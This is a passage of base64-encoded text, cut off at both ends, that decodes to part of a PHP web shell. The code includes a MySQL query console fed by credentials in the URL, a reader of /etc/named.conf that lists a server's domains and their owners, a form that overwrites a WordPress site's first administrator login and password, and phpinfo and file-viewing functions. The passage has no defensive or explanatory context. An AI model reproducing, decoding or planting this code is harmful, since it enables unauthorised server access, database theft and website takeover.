xbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD